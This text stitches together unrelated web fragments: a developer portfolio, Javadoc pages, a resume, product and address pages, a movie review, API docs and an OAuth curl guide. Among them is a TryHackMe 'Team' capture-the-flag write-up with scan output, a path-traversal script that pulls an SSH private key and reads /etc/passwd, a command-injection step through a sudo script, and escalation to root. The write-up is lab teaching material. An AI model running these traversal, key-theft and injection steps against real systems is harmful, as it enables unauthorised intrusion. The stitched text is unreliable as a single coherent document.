I focused mainly on the front end. I helped design each of the different screens and built part of the homepage with the Facebook features and the entire calendar portion. I wrote a lot of HTML/Razor code along with the corresponding CSS. This project also was my first introduction to jQuery/Javascript and Twitter Bootstrap.
This was probably the hardest project I've done for school, but it is also likely, the most fun I've had on a project. I was on a crack team that was determined to kick butt and were successful at it. This project is posted on my BitBucket page.
As an intern at Fidelity Investments during summer 2012, I laid the groundwork for a update fleet dispatch system for Boston Coach. I spent the summer learning about the design principles for iOS and Android and researching the different ways the team I was on could approach the project once it really got started. As a part of this effort, I created a variety of flow diagrams and mock-ups for my designs as well as a document that detailed my findings and explained my designs for each device, including iPhone, iPad, and both Android phones and tablets. Sadly, I cannot post those mock-ups here as I do not have copies of them and they are the intellectual property of Fidelity Institutional.
The Interactive Classroom is the classroom of the future! Attend class from anywhere and from any device with a screen, a browser, and keyboard input!
...Or so the advertisement would go. This application is suppose to be a totally platform independent remote classroom. Think Google Docs meets Adobe Connect.  Interactive Classroom allows you to do anything you would normally do in a physical classroom and is suitable for most high school and college level courses.
This project was for the class Human-Computer Interaction 2: Design of User Interfaces. I was apart of a 3-person team where I acted as the design lead. All of the layouts, icons, etc are my work. My teammates were in charge of coding the prototype and documentation. Click here to see the prototype. It is a Flash application so it will not work on all devices as we originally intended. We would have built the program in HTML5 and Javascript if we'd had more time, but Flash served us well enough for the purpose of the course. All the credit for the Flash app goes to Peter Kostraba.
Images of my original designs will follow soon. Pete did a fantastic job making the prototype look like the original design, but the images are a bit cleaner.
JBrick for iOS is a iPad application that allows the user to program Lego Mindstorms robots using a drag-and-drop editor. Right now the project is in the early design phases, so all we have is a prototype with a text-based UI and some whiteboard drawings. Moving forward I will be doing the graphics for the project. My teammate and I have already worked out the layout and feature set. Check out our repository on Google Code.
The pizza delivery system was a class project for my first software engineering class my second year of college. It's a fairly generic project, but I am still very proud of the work I did.
I designed and built the entire front end of the system. This was done using Java Swing, which is not the easiest framework to work with as far as UI frameworks are concerned. I tried really hard to get a solid composition and sense of negative versus positive space. The only major downfall of the UI is that all the sizing of elements is hard coded so it is not scalable.
You can download the runnable jar here.


|
Interface Summary |
| Callable |
Generic notion of callable object that can execute some script-related code
upon request with specified values for script scope and this objects. |
| ClassShutter |
Embeddings that wish to filter Java classes that are visible to scripts
through the LiveConnect, should implement this interface. |
| ContextAction |
Interface to represent arbitrary action that requires to have Context
object associated with the current thread for its execution. |
| ContextFactory.Listener |
Listener of Context creation and release events. |
| ErrorReporter |
This is interface defines a protocol for the reporting of
errors during JavaScript translation or execution. |
| Function |
This is interface that all functions in JavaScript must implement. |
| GeneratedClassLoader |
Interface to define classes from generated byte code. |
| RefCallable |
Object that can allows assignments to the result of function calls. |
| Script |
All compiled scripts implement this interface. |
| Scriptable |
This is interface that all objects in JavaScript must implement. |
| Wrapper |
Objects that can wrap other values for reflection in the JS environment
will implement Wrapper. |
|
Class Summary |
| ClassCache |
Cache of generated classes and data structures to access Java runtime
from JavaScript. |
| CompilerEnvirons |
|
| Context |
This class represents the runtime context of an executing script. |
| ContextFactory |
Factory class that Rhino runtime uses to create new Context
instances. |
| FunctionObject |
|
| ImporterTopLevel |
Class ImporterTopLevel
This class defines a ScriptableObject that can be instantiated
as a top-level ("global") object to provide functionality similar
to Java's "import" statement. |
| ScriptableObject |
This is the default implementation of the Scriptable interface. |
| SecurityController |
This class describes the support needed to implement security. |
| Synchronizer |
This class provides support for implementing Java-style synchronized
methods in Javascript. |
| WrapFactory |
Embeddings that wish to provide their own custom wrappings for Java
objects may extend this class and call
Context.setWrapFactory(WrapFactory)
Once an instance of this class or an extension of this class is enabled
for a given context (by calling setWrapFactory on that context), Rhino
will call the methods of this class whenever it needs to wrap a value
resulting from a call to a Java method or an access to a Java field. |


Education
University of Pittsburgh
- Major: Master of Science in Information Science
- Courses: Data Mining, Database Management, Algorithm Design, Web Technology and Standards,
Machine
Learning
University of Jinan
- Major: Bachelor of Engineering in Computer Science and Technology
- Courses: Data Structure, Computer Operating System, Computer Networks
Technical Skills
Programming Languages
- Java, Python, R, SQL, HTML, CSS, JavaScript, Typescript, C, C#, PHP, MATLAB, Shell
Framework
- Angular, Ionic, Spring MVC, Spring Data JPA, Hibernate, Laravel
Database
- MySQL, MongoDB, Neo4j, SQLite, InfluxDB
Work Experience
Health and Rehabilitation Informatics Lab, University of Pittsburgh
NetEase, Inc.
- Android Software Development
Inspur Group
- Android Software Development


public class Section extends java.lang.Object implements java.lang.Comparable

The Section
class contains the attributes for each Section
. There
is a relationship between lab and lecture sections for course instances of a
given instructor. If a CourseInstance
's CourseInstance.isHasLab()
attribute is TRUE, there is a corresponding lecture section for that lab section.
For example, Fall 2018 CISC 675 Software Engineer's lecture section is "010" and
the CourseInstance.isHasLab()
is TRUE, therefore, the lab section for this
CourseInstance
is "020L". Note that Course
s CISC 106 and CISC 108 are the
only 2 Courses that require lab assistants, as specified by Dr. Daniel Chester.
| Constructor and Description |
|---|
Section(java.lang.String sectionType,
java.lang.String sectionNumber,
java.lang.String instructorName,
int currentEnrollment,
int enrollmentCap,
java.lang.String location,
WeeklySchedule schedule)
Constructs a new
Section with given CourseInstance for a specified term. |
| Modifier and Type | Method and Description |
|---|---|
void |
addAssignedCourseAssistant(CourseAssistant ca)
Adds a
CourseAssistant to this assigned course assistant list. |
int |
compareCurrentEnrollment(Section that)
Compares the current enrollment number of this
Section with that one. |
int |
compareEnrollmentCap(Section that)
Compares the enrollment cap number of this
Section with that one. |
int |
compareInstructorName(Section that)
Compares the instructor's name of this
Section with that one. |
int |
compareLocation(Section that)
Compares the location of this
Section with that one. |
int |
compareMTAC(Section that)
Compares the mtac of this
Section with that one. |
int |
compareNumberOfLA(Section that)
Compares the number of lab assistants of this
Section with that one. |
int |
compareNumberOfTA(Section that)
Compares the number of teacher's assistants of this
Section with that one. |
int |
compareSectionNumber(Section that)
Compares the section number of this
Section with that one. |
int |
compareSectionType(Section that)
Compares the prefix of this
Section with that one. |
int |
compareTaAssigned(Section that)
Compares the taAssigned of this
Section with that one. |
int |
compareTo(Section that) |
void |
display()
Displays all the information of a
Section . |
boolean |
equals(java.lang.Object obj)
This method is a override for
Object.equals(Object) . |
java.lang.Iterable<CourseAssistant> |
getAssignedCourseAssistants()
Returns the assigned course assistants as an iterable sequence of
CourseAssistant s. |
Section |
getCorrespondingLab()
|
Section |
getCorrespondingLecture()
|
int |
getCurrentEnrollment()
A getter to get the current enrollment initialized, represented as
an integer in the range of [0,
enrollmentCap ] |
int |
getEnrollmentCap()
A getter to get the max number of students that can enroll in this
Section ,
represented as an integer predetermined by the university. |
java.lang.String |
getInstructorName()
A getter to get the instructor's full name initialized, represented as
a comma-separated proper-case String.
|
java.lang.String |
getLocation()
A getter to get the university 3-character building name and 3-digit
room number identifier initialized, presented as a String with a 3-character
prefix of only capital letters and a 3-digit post-fix of integers in
the range of [000-999].
|
int |
getNumOfLA()
A getter to get the number of lab assistants needed for this
Section ,
represented as an integer in the range [0, 2]. |
int |
getNumOfTA()
A getter to get the number of teacher's assistants needed for this
Section initialized,
represented as an integer in the range [0, 3] |
WeeklySchedule |
getSchedule()
A getter to get the schedule for this
Section which is the set of
TimeInterval s required for this Section
initialized, represented as a WeeklySchedule of TimeInterval objects. |
java.lang.String |
getSectionNumber()
A getter to get the university section number initialized, represented as
a 3-digit String in the range of [000,999], e.g.,
|
java.lang.String |
getSectionType()
A getter to get the university section type initialized, represented as a String.
|
int |
hashCode()
This method is a override for
Object.hashCode() . |
boolean |
isMtac()
|
boolean |
isTaAssigned()
|
void |
setCorrespondingLab(Section correspondingLab)
|
void |
setCorrespondingLecture(Section correspondingLecture)
|
void |
setMtac(boolean mtac)
A setter to get the hasLab attribute for this course instance,
represented as a boolean.
|
void |
setNumOfLA(int numOfLA)
A setter to get the number of lab assistants needed for this
Section initialized,
represented as an integer in the range [0, 2]. |
void |
setNumOfTA(int numOfTA)
A setter to get the number of teacher's assistants needed for this
Section , an
integer in the range [0, 3]. |
void |
setSchedule(WeeklySchedule schedule)
A setter to get the set of
TimeInterval s required for this section, represented as a
WeeklySchedule of TimeInterval objects. |
void |
setTaAssigned(boolean taAssigned)
A setter to get the taAssigned attribute for this
Section ,
represented as a boolean. |
java.lang.String |
toString()
Returns a human-readable representation of this
CourseInstance , in the form of
"Prefix CourseCode CourseName". |
public Section(java.lang.String sectionType, java.lang.String sectionNumber, java.lang.String instructorName, int currentEnrollment, int enrollmentCap, java.lang.String location, WeeklySchedule schedule)
Section
with given CourseInstance
for a specified term.sectionType
- the type of section which is either lecture (LEC) or lab (LAB),
a String.sectionNumber
- the university 3-digit section identifier,
a String consisting of only digits with leading zeros (0).instructorName
- the instructor's full name who is teaching this Section
,
a comma-separated proper-case String such as "LastName, FirstName".currentEnrollment
- the number currently enrolled in this Section
,
an integer in the range [0,enrollmentCap
].enrollmentCap
- the max number of students that can enroll in this Section
,
an integer predetermined by the university.location
- the university 3-character building name and 3-digit
room number identifier, a String with a 3-character prefix of
only capital letters and a 3-digit post-fix of integers in
the range of [000-999].schedule
- the WeeklySchedule
that this Section
will meet,
an ordered set of TimeInterval
s.public java.lang.String getSectionType()
Section
, a String which is lecture (LEC) or lab (LAB).public java.lang.String getSectionNumber()
"010".
public java.lang.String getInstructorName()
public int getCurrentEnrollment()
enrollmentCap
]public int getEnrollmentCap()
Section
,
represented as an integer predetermined by the university.public java.lang.String getLocation()
public WeeklySchedule getSchedule()
Section
which is the set of
TimeInterval
s required for this Section
initialized, represented as a WeeklySchedule
of TimeInterval
objects.public void setSchedule(WeeklySchedule schedule)
TimeInterval
s required for this section, represented as a
WeeklySchedule
of TimeInterval
objects.schedule
- the schedule associated with this Section
.public Section getCorrespondingLecture()
Section
required for this lab section, representing the mapping
from Section
to Section
objects.correspondingLecture
- the corresponding lecture section with this Section
.public void setCorrespondingLecture(Section correspondingLecture)
Section
required for this lab section, representing the mapping
from Section
to Section
objects.correspondingLecture
- the corresponding lecture section with this Section
.public Section getCorrespondingLab()
Section
required for this lecture section, representing the mapping
from Section
to Section
objects.correspondingLecture
- the corresponding lab section with this Section
.public void setCorrespondingLab(Section correspondingLab)
Section
required for this lecture section, representing the mapping
from Section
to Section
objects.correspondingLab
- the corresponding lab section with this Section
.public boolean isTaAssigned()
Section
does assigned a teacher's assistant and
FALSE indicates that the Section
does not have a teacher's assistant assigned.Section
assigned a CourseAssistant
.public void setTaAssigned(boolean taAssigned)
Section
,
represented as a boolean.taAssigned
- a boolean represented as TRUE if this Section
assigned a teacher's assistant.public int getNumOfTA()
Section
initialized,
represented as an integer in the range [0, 3]public void setNumOfTA(int numOfTA)
Section
, an
integer in the range [0, 3].numOfTA
- the number of teacher's assistants required.public int getNumOfLA()
Section
,
represented as an integer in the range [0, 2].public void setNumOfLA(int numOfLA)
Section
initialized,
represented as an integer in the range [0, 2].
*numOfLA
- Number of lab assistants required.public boolean isMtac()
Section
requires mandatory attendance of a teacher's assistant and
FALSE indicates that the Section
does not require mandatory attendance of a
teacher's assistant. Note that if mtac is TRUE, there must be no overlap with
the schedule
and the CourseAssistant.wtps
.
On the contrary, if mtac is FALSE, then the schedule
can overlap
with the CourseAssistant.getWtps()
.Section
has a mandatory teacher's assistant requirement.public void setMtac(boolean mtac)
mtac
- a boolean represented as TRUE if Section
has a
mandatory teacher's assistant requirement.public java.lang.Iterable<CourseAssistant> getAssignedCourseAssistants()
CourseAssistant
s.public void addAssignedCourseAssistant(CourseAssistant ca)
CourseAssistant
to this assigned course assistant list. If the given
CourseAssistant
is already in this assignedCourseAssistantSet, this is a no-op.ca
- a non-null
CourseAssistant
to add to this
assignedCourseAssistant listpublic int compareSectionType(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on Alphabetical order of the section type.that
- another non-null
Section
.public int compareSectionNumber(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on Alphabetical order of the section number.that
- another non-null
Section
.public int compareInstructorName(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on Alphabetical order of the instructor's name.that
- another non-null
Section
.public int compareCurrentEnrollment(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on the difference of the enrollment capacity.that
- another non-null
Section
.public int compareEnrollmentCap(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on the difference of the enrollment capacity.that
- another non-null
Section
.public int compareLocation(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on Alphabetical order of the location.that
- another non-null
Section
.public int compareNumberOfTA(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on the difference of the number of teacher's assistants.that
- another non-null
Section
.public int compareNumberOfLA(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on the difference of the number of lab assistants.that
- another non-null
Section
.public int compareMTAC(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on the difference of mtac attribute.that
- another non-null
Section
.public int compareTaAssigned(Section that)
Section
with that one.
Returns -1, 0, or 1 depending on the difference of taAssigned attribute.that
- another non-null
Section
.public int compareTo(Section that)
The order is determined by first comparing prefix. If prefix are equal, courseCode is compared to break the tie. If courseCode is equal, courseName is compared to break the tie. If courseName is equal, both course objects are equal.
compareTo
in interface java.lang.Comparable

public boolean equals(java.lang.Object obj)
Object.equals(Object)
.equals
in class java.lang.Object
public int hashCode()
Object.hashCode()
.hashCode
in class java.lang.Object
Section
.public java.lang.String toString()
CourseInstance
, in the form of
"Prefix CourseCode CourseName".toString
in class java.lang.Object
public void display()
Section
.


{% extends "layout.html" %} {% block content %}
ReproduceMeGit is a visualization tool for analyzing the reproducibility of Jupyter Notebooks. This will help repository users and owners to reproduce and directly analyze and assess the reproducibility of any GitHub repository containing Jupyter Notebooks.
PostDoctoral Researcher, Heinz-Nixdorf Chair for Distributed Information Systems, Friedrich Schiller University Jena, Germany
<EMAIL_ADDRESS>Heinz-Nixdorf Chair for Distributed Information Systems, Friedrich Schiller University Jena, Germany


Team TryHackMe Writeup
Team TryHackMe Writeup
First Stage : Enumeration
As usual we start with nmap scan to find open ports.
# Nmap 7.91 scan initiated Mon Mar 8 19:59:25 2021 as: nmap -sC -sV -T4 -vv -p- -oN nmapscan <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up, received syn-ack (0.15s latency).
Scanned at 2021-03-08 19:59:26 IST for 225s
Not shown: 65532 filtered ports
Reason: 65532 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRK/xFh/H4lC7shWUUvK9lKxd3VO2OwfsC8LjFEU2CnEUrbVCnzx8jiVp5gO+CVAj63+GXkbIuXpynlQ/4j1dXdVUz/yAZ96cHiCNo6S5ThONoG2g2ObJSviCX2wBXhUJEzW07mRdtx4nesr6XWMj9hwIlSfSBS2iPEiqHfGrjp14NjG6Xmq5hxZh5Iq3dBrOd/ZZKjGsHe+RElAMzIwRK5NwFlE7zt7ZiANrFSy4YD4zerNSyEnjPdnE6/ArBmqOFtsWKZ2p/Wc0oLOP7d6YBwQyZ9yQNVGYS9gDIGZyQCYsMDVJf7jNvRp/3Ru53FMRcsYm5+ItIrgrx5GbpA+LR
| 256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBM4d9TCz3FkEBEJ1VMjOsCrxsbS3YGb7mu9WgtnaFPZs2eG4ssCWz9nWeLolFgvHyT5WxRT0SFSv3vCZCtN86I=
| 256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHUxjoul7JvmqQMtGOuadBwi2mBVCdXhJjoG5x+l+uQn
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 8 20:03:11 2021 -- 1 IP address (1 host up) scanned in 226.37 seconds
Hence open ports are :
- 22
- 80
So let’s visit port 80.
So seeing the source code we get that we have to add team.thm to our hosts file.
So going to http://team.thm .
So My next step was gobuster.
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===========================================================
[+] Url: http://team.thm/
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: js,txt,html,php,zip,json
[+] Timeout: 10s
===========================================================
2021/03/08 20:45:17 Starting gobuster
===========================================================
/images (Status: 301)
/scripts (Status: 301)
/assets (Status: 301)
/index.html (Status: 200)
/robots.txt (Status: 200)
/server-status (Status: 403)
/index.html (Status: 200)
===========================================================
2021/03/08 21:20:15 Finished
===========================================================
So after going through many rabbit holes , I got a hint from a friend saying to look at the scripts directory deeply.
Hence I did a gobuster on scripts dir.And got a interesting file.
===========================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===========================================================
[+] Url: http://team.thm/scripts/
[+] Threads: 30
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: json,js,txt,html,php,zip
[+] Timeout: 10s
===========================================================
2021/03/09 14:50:52 Starting gobuster
===========================================================
/script.txt (Status: 200)
So going to that file .
So we can see that there is an old script which contains username and password , but it’s extension is different. Hence I tried some extensions and one extension which worked was .old.
Hence using this I got into ftp.
So going to workshare directory we see that there is a text file called New_site.txt.
So adding dev.team.thm to the hosts file we visit it.
Second Stage : Initial Access as Dale
Hence clicking that link gives us the possibility of LFI.
So I tried /etc/passwd
So from the txt file we got we can see that the id_rsa is in a config file but we don’t know what file . Hence I searched for interesting LFI files and got a list of files.
https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi-linux-list
Save the list as paths.txt. And I created a script to automate the lfi process.
#!/bin/bash
filename='paths.txt'
while read line
do
echo "[+] Trying $line"
curl http://dev.team.thm/script.php\?page\=../../../../../../../../$line > result.txt
if [[ -n ` grep "OPENSSH" result.txt` ]]
then
break
else
continue
fi
done < $filename
After running the script for sometime , it stops at a particular file.
So if we open the result.txt we get the id_rsa.
Hence we can save it and ssh into the machine as dale.
Second Stage : dale to gyles
Since we have sudo permission let’s check what is admin_checks .
It is a bash script
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
After going through some of the rabbit holes I got to know the way to exploit this. The error variable is being executed.
Hence to exploit this :
Third Stage : Gyles to root
Since gyles was in admin grp I did a search.
So I downloaded pspy and ran it in the box.
So I edited the main_backup.sh like this.
And go root shell back!


Improve access to high-quality education for sustainable development, realize social transformation by adjusting the direction of education, and help people cultivate the knowledge, skills, values, and behaviors needed for sustainable development. This means including sustainable development issues such as climate change and biodiversity into the scope of teaching. We encourage everyone to be responsible actors, actively solve challenges, respect cultural diversity, and contribute to the creation of a more sustainable world.


According to the World Health Organization (WHO), contaminated water accounts for 80% of all diseases contracted during travel.
Travelers, who feel the local drinking water is not potable, contribute greatly to bottle consumption, consuming up to 6+ bottles a day.
2.7 MILLION TONS of water bottle plastic is used across the globe anually.
In many countries, there is no proper disposal method for empty bottles. These bottles, which are made of hazardous petroleum-based plastic, then accumulate in the land and water as
non-biodegradable rubbish.
BOTTLED BEVERAGES ARE NOT THE ONLY ANSWER
The SteriPEN utilizes the power of ultraviolet light to eliminate over 99.9% of bacteria,
viruses and protozoa that cause water-borne illness. The technology used for water purification, is the same used technology used by leading bottled water manufacturers, as well as major cities in the U.S., Europe and Asia.
Reusable for up to 8,000 liters, the SteriPEN keeps thousands of plastic water bottles out of the waste cycle. Compact, and lightweight, SteriPEN purifies 16oz. (0.5L) in just 48 seconds; 32oz. (1.0L) in just 90 seconds.
All without any pumping, timekeeping, or any added aftertaste or chemical odor.


Class: Deltacloud::StateMachine::State
- Inherits:
-
Object
- Object
- Deltacloud::StateMachine::State
- Defined in:
- lib/deltacloud/state_machine.rb
Instance Attribute Summary (collapse)
-
- (Object) name
readonly
Returns the value of attribute name.
-
- (Object) transitions
readonly
Returns the value of attribute transitions.
Instance Method Summary (collapse)
-
- (State) initialize(machine, name)
constructor
A new instance of State.
- - (Object) to(destination_name)
- - (Object) to_s
Constructor Details
- (State) initialize(machine, name)
A new instance of State
38 39 40 41 42 |
# File 'lib/deltacloud/state_machine.rb', line 38 def initialize(machine, name) @machine = machine @name = name @transitions = [] end |
Instance Attribute Details
- (Object) name (readonly)
Returns the value of attribute name
35 36 37 |
# File 'lib/deltacloud/state_machine.rb', line 35 def name @name end |
- (Object) transitions (readonly)
Returns the value of attribute transitions
36 37 38 |
# File 'lib/deltacloud/state_machine.rb', line 36 def transitions @transitions end |
Instance Method Details
- (Object) to(destination_name)
48 49 50 51 52 53 |
# File 'lib/deltacloud/state_machine.rb', line 48 def to(destination_name) destination = @machine.state(destination_name) transition = Transition.new( @machine, destination ) @transitions << transition transition end |
- (Object) to_s
44 45 46 |
# File 'lib/deltacloud/state_machine.rb', line 44 def to_s self.name.to_s end |


Ruby Basics Cheat Sheet
Helpful Ruby Methods
- .each: this iterates over an array. Syntax: array.each do {|x| block of code}
- .each_with_index: this iterates of an array and also produces the index of that array. Syntax: array.each_with_index do {|value, index| block of code}
- .split(): this splits a string up into an array. Syntax: string.split(" "). The parenthesis indicate what the divider will be.
- .join(): this joins an array back into a string, the same way split breaks it apart.
- .reverse: this reverses an array. Syntax: array.reverse.


Review: Les Miserables [1998]
Starring: Liam Neeson as Jean Valjean Geoffrey Rush as Javert Uma Thurman as Fantine Claire Danes as Cosette [adult] Mimi Newman as Cosette [child] Hans Matheson as Marius Directed by: Bille August Screenplay: Rafael Yglesias Review by: Joy Wyse
In the movie theater, prior to the screening, a trivia statement appeared on the screen. It said that Les Miserables was the first full-length motion picture filmed in America, in 1809. Now if that was so Victor Hugo would have been writing science fiction because the story begins in 1812 after Jean Valjean has served 19 years in prison, and continues for another 20 years. The date should have read 1909. Some later versions have been 1913 [France], 1918 [US], 1922 [ GB], 1925 [France], 1934 [France] 1935 {US - with Fredric March and Charles Laughton], 1946 [Italy], 1952 [US - Michael Rennie and Robert Newton] and 1957 [France]. And, there is the musical version.
The trivia statement also said that the current version stars Geoffrey Rush. When did Javert become the main role? Perhaps it was because we get to know Javert a bit better in this rendition than in others. His admission that his father was a thief and his mother was a prostitute helps us understand more fully his reactions to Valjean, Fantine, and Cosette.
Unless you have read the very long book by Victor Hugo, you will have different memories of the main and sub-plots as they unfold. It was interesting to me that an unusual number of people got up and left the theater for short times. When I went outside, because I started coughing, I spoke with a couple of people. They said that they knew the plot well enough to miss a bit of it. That does not speak well for a film. How many went outside during Titanic, because they knew the ending?
A brief synopsis is that Valjean had served 19 years in hard labor for stealing food because he was hungry. After his release he is shunned by most people except for a bishop who gives him a second chance in life. Ten years later, in 1822, he owns a factory and is the mayor of Vigau, living a quiet life.
Javert, who was a guard at the prison, is assigned to Vigau and thinks that he recognizes Valjean, although he's not certain.
Working at Valjean's factory is Fantine who is an unwed mother. Her daughter, Cosette, is living with a foster family, The Thenardiers, who treat the child poorly and overcharge Fantine for her keep. Fantine turns to prostitution but becomes ill.
As Javert closes in, Valjean and Cosette leave Vigau and take refuge in a convent elsewhere, but when Cosette grows to be a young woman she does not wish to become a nun. She longs to learn of the world outside of the convent walls. During one of her first ventures into those unfamiliar surroundings she falls in love with a young political activist, Marius.
The conclusion combines an attempted rebellion, Javert's pursuit, Marius' injury, and what destiny holds in store for all of them.
Marius was the big disappointment. He came across as a wimp. It had to be Cosette's lack of knowledge that attracted her to him. She could have done so much better. I don't feel that anyone, with the exception of Fantine, was portrayed as well as possible. There were times that I should have been brought to tears, and I wasn't. Perhaps it was because August and Yglesias tried to condense the plot too much. Only the scenes with the Bishop, or the ones with Fantine moved me. What should have been a memorable motion picture was simply a good one. Instead of wanting to see it again, I'd like to see another version or re-read the book.
Because it does have so many redeeming features including costumes and locations, I give it a B. I wish it had been an A.
SEE YOU AT THE MOVIES!
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Constructor
new ThunderClient(endpoint, application, secret)
- Source:
Constructs a new ThunderClient.
Parameters:
| Name | Type | Description |
|---|---|---|
endpoint |
string | The base endpoint to connect to Thunder with. |
application |
string | The name of the application key used for basic auth. |
secret |
string | The value of the application secret used for basic auth. |
Methods
createUser(user, callback)
- Source:
POST /users
Creates a new Thunder user.
Parameters:
| Name | Type | Description |
|---|---|---|
user |
object | The data of the user object to create. |
callback |
function | The function to call when the method completes. |
deleteUser(email, password, callback)
- Source:
DELETE /users
Deletes a Thunder user.
Parameters:
| Name | Type | Description |
|---|---|---|
email |
string | The email address of the user to delete. |
password |
string | The password of the user to delete. |
callback |
function | The function to call when the method completes. |
getUser(email, password, callback)
- Source:
GET /users
Gets a Thunder user.
Parameters:
| Name | Type | Description |
|---|---|---|
email |
string | The email address of the user to get. |
password |
string | The password of the user to get. |
callback |
function | The function to call when the method completes. |
resetVerificationStatus(email, password, callback)
- Source:
POST /verify/reset
Resets a user's email verification status.
Parameters:
| Name | Type | Description |
|---|---|---|
email |
string | The user's email address. |
password |
string | The user's password. |
callback |
function | The function to call when the method completes. |
sendEmail(email, password, callback)
- Source:
POST /verify
Creates and sends a new verification email.
Parameters:
| Name | Type | Description |
|---|---|---|
email |
string | The email address of the user to send the email to. |
password |
string | The password of the user to send the email to. |
callback |
function | The function to call when the method completes. |
updateUser(email, password, user, callback)
- Source:
PUT /users
Updates a Thunder user.
Parameters:
| Name | Type | Description |
|---|---|---|
email |
string | The existing email address of the user to update. |
password |
string | The password of the user to update. |
user |
object | The user object to PUT as an update. |
callback |
function | The function to call when the method completes. |
verifyUser(email, token, callback, responseType)
- Source:
GET /verify
Verifies a user. Simulates the user clicking the URL in the email.
Parameters:
| Name | Type | Default | Description |
|---|---|---|---|
email |
string | The email address of the user to verify. | |
token |
string | The verification token that should match the generated token. | |
callback |
function | The function to call when the method completes. | |
responseType |
string |
json
|
The type of response to recieve. Must be either 'html' or 'json'. Defaults to 'json'. |
Returns:
Upon error or after successfully sending the GET request.


Try to answer the following code-related questions within the time limit. Keep in mind that incorrect answers will penalize your score/time by ten seconds!
Lorem ipsum dolor sit amet consectetur adipisicing elit. At provident fugiat eius. Doloribus molestiae aut nemo est sed non consequatur ex at accusantium nisi voluptatibus pariatur, accusamus minus? Totam, explicabo!


If you need to send us a letter or parcel via the Postal Service, please use this address:
The Plantage, Inc.
P.O. Box 28
Cutchogue, NY 11935
Phone:<PHONE_NUMBER>
Fax:<PHONE_NUMBER>
If you are sending us a parcel via Federal Express or United Parcel Service(UPS), please use this address:
The Plantage, Inc.
Elijah's Lane
Mattituck, NY 11952


{% extends 'base.html' %} {% load bootstrap4 %} {% load static %} {% load cloudinary %} {% block content %}
Join a neighborhood in your location to be on the loop about your surroundings.
Location: {{neighborhood.location}}
{% cloudinary neighborhood.logo format="jpg" width=300 height=200 crop="" %} {% if request.user.profile.neighbourhood == neighborhood %} View {{neighborhood.name}} neighborhood details


Meet Wednesday
Hobbies
Wednesday likes to:
Sleep
Play
Eat
Exercise
Favourite foods
Wednesday likes eating:
Sunflower seeds
Nuts
Fruits and vegetables


After installing an OA4MP server, or as part of testing one in service, you may want to have a way to monitor the interaction from the command line. There are two ways to do this, either using the custom command line client or using curl. This document is how to test using curl. This is not quite straightforward and does require some work, but in many cases is well worth the effort. This document describes how to do a complete exchange with a properly configured OA4MP server
You should make sure you have a few things at the ready.
Each of the steps is outlined below along with an example curl call. In each call you will need to supply your own client_id, client_secret and redirect_uri. Other values such as the nonce and state may be left as is.
In this case, you will create a custom url that you will paste into your browser. Line breaks are for readability.
https://surge.ncsa.illinois.edu/oauth2/authorize? client_id=myproxy%3Aoa4mp%2C2012%3A%2Fclient_id%2F2a3aab4b67ab2354563& redirect_uri=https%3A%2F%2Fashigaru.ncsa.uiuc.edu%3A9443%2Fclient%2Fready& state=qqqqq& response_type=code& scope=openid+edu.uiuc.ncsa.myproxy.getcert& nonce=n-0S6_WzA2Mj
At this point you should see the authorization page pop up in your browser. Log in. The normal control flow is to call back to the redirect URL you provided in the previous step. Since no client should be running there, you will get an error.
The location bar will have an address like this in it
